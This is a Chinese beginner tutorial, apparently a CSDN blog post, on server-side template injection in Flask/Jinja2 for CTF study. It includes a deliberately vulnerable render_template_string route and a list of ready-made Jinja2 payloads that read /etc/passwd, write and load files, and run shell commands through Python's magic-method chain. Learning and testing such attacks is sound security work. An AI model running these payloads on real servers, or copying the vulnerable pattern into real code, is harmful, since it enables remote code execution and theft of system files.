初学SSTI

又称服务器端模板注入。这一类漏洞在ctf中也经常出现。通过这篇文章主要学习一下SSTI的基础。

什么是SSTI

在说这个之前先来了解一下模板与模板引擎。

比如说你百度查资料的时候,页面返回给你的大体格式是不改变的,改变的只是你查询的内容。

这个框架就是模板。主要作用就是将用户查询的动态数据与静态信息分离。大大提高了开发效率。服务端把相应的模板文件和一些变量传递给模板引擎,模板引擎解析后再传给用户端 ,模板引擎只处理模板上的一些东西,而hacker们就是将恶意的模板语句注入在模板中,在对模板进行渲染时,就会执行我们的恶意代码,将执行结果返回给客户端。

漏洞原理

以flask模板为例,主要了解渲染和路由。

看这段代码

from flask import flask 
@app.route('/index/')
def hello_word():
    return 'hello world'

路由就是把url与函数对应起来,一个映射的关系。比如这段代码当你访问http://host:port/index/就会输出hello world。

渲染的方法主要有render_templaterender_template_string两种。

render_template函数是用来渲染一个指定文件。而render_template_string是用来渲染字符串的。

看漏洞代码

@app.route('/test/')
def test():
    code = request.args.get('id')
    html = '''
        <h3>%s</h3>
    '''%(code)
    return render_template_string(html)

code是我们用户输入的,当我们输入的内容拼接到模板中,因为没有经过转义和限制,在渲染模板时就会执行我们输入的恶意代码。

常见的模板有很多,不同模板的语法也不相同,在实际情况我们可以测试判断属于哪一种模板。

例如不同模板的输出结果。

Twig{{7*'7'}}结果49 
jinja2{{7*'7'}}结果为7777777 
smarty7{*comment*}7为77

就拿jinja2这个模板引擎为例,它的取值变量格式为{{}},里面的表达式会自动执行。我们可以用{{7*7}}来测试网站有没有模板注入漏洞。

当然,当你发现这个漏洞想用一些恶意命令来执行一些操作。比如你想调用os模块使用系统命令,

import os
os.system('id')

但是事实上不可行的。可能是因为模板引擎会限制import声明语法。所以我们不能直接调用。那么我们呢就需要充分利用python中的组件,也就是魔术方法。下列举例常用的魔术方法。

__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类

__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

知道这些魔术方法我们该怎么去用它呢?比如我们就需要来查看id,需要使用到os模块。我们知道python中万物皆可对象,那么我们就可以用一个空字符串作为一个起点了。

查看当前属性的对象''.__class__

那我们继续查看当前类的基类。''.__class__.__base__

基类找到了,那么我们就可以查找所以子类了。''.__class__.__base__.subclasses__()

太多太多。到这个时候,SSTI的姿势和技巧就丰富了许多。在这里,我们需要挑选sys模块的类,因为sys模块也调用了os模块。查找我们需要利用的类可以通过脚本来查找。这里我们选择<warnings.catch warnings>这个类,排序是从0开始的。所以是141位。

''.__class__.__base__.__subclasses__()[141] #找到这个类

''.__class__.__base__.__subclasses__()[141].__init__.__globals__
#初始化,以字典的形式返回所有的全局变量

''.__class__.__base__.__subclasses__()[141].__init__.__globals__['sys'].modules['os']
#找到sys,并在其中调用os模块

#调用到os模块,我们就可以执行系统命令了。


{{''.__class__.__base__.__subclasses__()[141].__init__.__globals__['sys'].modules['os'].popen("id").read()}}
#来读取id,当然最后还要有语法包裹。

说到这里,对SSTI的攻击手段都有大致的了解,当然,像这样的payload的构造肯定是要花不少时间的。我们可以用一些现成的payload。

python2

#文件读取和写入
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}  

{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}  

#每次执行都要先写然后编译执行
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}  
{{ config.from_pyfile('/tmp/owned.cfg') }}  

#命令执行
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']('1+1')}}  

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}

#这条指令可以注入,但是如果直接进入python2打这个poc,会报错,用下面这个就不会,可能是python启动会加载了某些模块
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}

#system函数换为popen('').read(),需要导入os模块
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

#不需要导入os模块,直接从别的模块调用
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

python3

#读文件
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('d://whale.txt').read()}}

#命令执行
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}

在一些ctf题目可能会有一些waf过滤以及绕过姿势,之后会通过做题巩固总结。

相关链接:

SSTI注入 - FreeBuf网络安全行业门户

浅谈SSTI - FreeBuf网络安全行业门户

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

XiLitter

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值